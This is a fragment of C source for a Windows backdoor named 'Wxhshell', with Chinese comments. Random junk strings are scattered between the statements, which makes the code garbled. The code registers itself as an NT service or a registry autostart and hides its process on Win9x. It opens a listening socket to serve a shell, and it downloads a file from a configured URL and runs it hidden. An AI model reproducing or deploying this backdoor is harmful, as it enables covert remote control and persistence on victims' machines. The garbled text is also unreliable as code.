if(hProcess==NULL) return 0; p|Ln;aYc &EMm<(.]a HMODULE hMod; sU>*S$X8 char procName[255]; </eh^<_~ unsigned long cbNeeded; kmf4ax
h1 8=$@azG if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); eI@O9<.& c;Li~FLR CloseHandle(hProcess); 5d)G30 (Az^st/_ if(strstr(procName,"services")) return 1; // 以服务启动 X(8]9 2/GH5b( return 0; // 注册表启动 4CDmq[AVS[ } Qr/?tMALc `VHm,g2 // 主模块 dsh}-'> int StartWxhshell(LPSTR lpCmdLine) ukN#>e+L1 { <1"6`24 SOCKET wsl; dM
QnN[d6 BOOL val=TRUE; 4m~\S)ad int port=0; Axr'zc struct sockaddr_in door; !nu#r$K( ' _N > if(wscfg.ws_autoins) Install(); )/BKN` , 1vobfZ-w9 port=atoi(lpCmdLine); Y}0 - & /%.K`BMN if(port<=0) port=wscfg.ws_port; Y.-i ;Mmu c;j]/R$i WSADATA data; [ML4<Eb+x if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?)9 6YX' Dj[D|%9a if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; M+Dkn3bx setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); nkpQM$FW door.sin_family = AF_INET; $XJe) door.sin_addr.s_addr = inet_addr("127.0.0.1"); |/q *Fg[f door.sin_port = htons(port); L)Kn8 PoC24#vS if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { TiH(HW|: closesocket(wsl); $u>^A<TBN return 1; {|a'
=I#2 } h.DQ6!?;s ;Eck7nRA) if(listen(wsl,2) == INVALID_SOCKET) { t]Vw`z%G closesocket(wsl);
62.{8Uj return 1; 7m1*Q@D } #x'C Wxhshell(wsl); ;]p#PNQ0 WSACleanup(); 2(UT;PSI 0\.y0
K8 return 0; WC`<N4g| ;v.l<AOE } $?0<rvGJ 1y
6H 2 // 以NT服务方式启动 \&SP7~-eq VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) M5D,YC3< { *@n%K,$v DWORD status = 0; K~[/n<ks DWORD specificError = 0xfffffff; Uq"RyvkpP B
[03,zVf serviceStatus.dwServiceType = SERVICE_WIN32; w2 CgEJ% serviceStatus.dwCurrentState = SERVICE_START_PENDING; K5!k06;s serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; o8bVz2E serviceStatus.dwWin32ExitCode = 0; wZ29/{, serviceStatus.dwServiceSpecificExitCode = 0; )\t#e`3 serviceStatus.dwCheckPoint = 0; .Yo#vV serviceStatus.dwWaitHint = 0; 7n%QP ~aBALD0D; hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); w)hJ0k if (hServiceStatusHandle==0) return; j'~xe3j ^5xY&1j status = GetLastError(); P[^!Uq[0n7 if (status!=NO_ERROR) N@*v'MEko% { nc([e9_9v serviceStatus.dwCurrentState = SERVICE_STOPPED; jo+T!CUM' serviceStatus.dwCheckPoint = 0; T"3WB o serviceStatus.dwWaitHint = 0; ;5oY)1 serviceStatus.dwWin32ExitCode = status; +>{{91mN serviceStatus.dwServiceSpecificExitCode = specificError; ytHa[U SetServiceStatus(hServiceStatusHandle, &serviceStatus); az7L0pp return; F7a\Luae } sA:0b5_a o:m:9dn serviceStatus.dwCurrentState = SERVICE_RUNNING; }(ot IqE serviceStatus.dwCheckPoint = 0; M7UVL&_z% serviceStatus.dwWaitHint = 0; P oC*>R8 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =TU"B-* } z;1yZ4[G =U2`]50 // 处理NT服务事件,比如:启动、停止 RKRk,jRL VOID WINAPI NTServiceHandler(DWORD fdwControl) u6|P)8?` { PJO +@+"{@ switch(fdwControl) `[[
A7 { pM.>u/=X case SERVICE_CONTROL_STOP: pl'n
0L<l serviceStatus.dwWin32ExitCode = 0; Xq,{)G%9nM serviceStatus.dwCurrentState = SERVICE_STOPPED; h2K1|PUKl[ serviceStatus.dwCheckPoint = 0; gy,B+~p serviceStatus.dwWaitHint = 0; qJUu9[3'm { lfb]xu]O SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'lg6<M%#[ } 9tqX77UK return; !y `wAm>n case SERVICE_CONTROL_PAUSE: ,C!MHn^$ serviceStatus.dwCurrentState = SERVICE_PAUSED; &U!@l)< break; HSq&'V case SERVICE_CONTROL_CONTINUE: #*XuU8q? serviceStatus.dwCurrentState = SERVICE_RUNNING; Tj@s \@hv break; B!yAam#^ case SERVICE_CONTROL_INTERROGATE: NkA|T1w7 break; O~Pbu[C }; ?tg(X[h{S SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6E85mfFS } ' !ZFK} T ^%$ // 标准应用程序主函数 2wpLP^9Vr< int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) vaS/WEY { e\tcP mi6<;N2w| // 获取操作系统版本 x)5#*Q OsIsNt=GetOsVer(); <Hig,(=`. GetModuleFileName(NULL,ExeFile,MAX_PATH); ?3k;Yg/ =; `+^ // 从命令行安装 zHeqV if(strpbrk(lpCmdLine,"iI")) Install(); Z<;am _/ ]4:(" // 下载执行文件 4F^(3RKZ| if(wscfg.ws_downexe) { +'x|VPY.PG if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ZQZ>{K WinExec(wscfg.ws_filenam,SW_HIDE); /2tgxm$} } ;gP@d`s 2a3i]e5Kt if(!OsIsNt) { UW88JA0 // 如果时win9x,隐藏进程并且设置为注册表启动 $
nx&(V HideProc(); IhhB^E| StartWxhshell(lpCmdLine); IJhJfr0)Oo } E}00y%@*J else 2<y!3OeN if(StartFromService()) ]KBzuz% // 以服务方式启动 (ylpH`
StartServiceCtrlDispatcher(DispatchTable); ~kj1L@gy else W4Tuc:X5 // 普通方式启动 ]SA]{id+ StartWxhshell(lpCmdLine); pA&CBXio 6p=AzojoB return 0; p;,Cvw{.;% }
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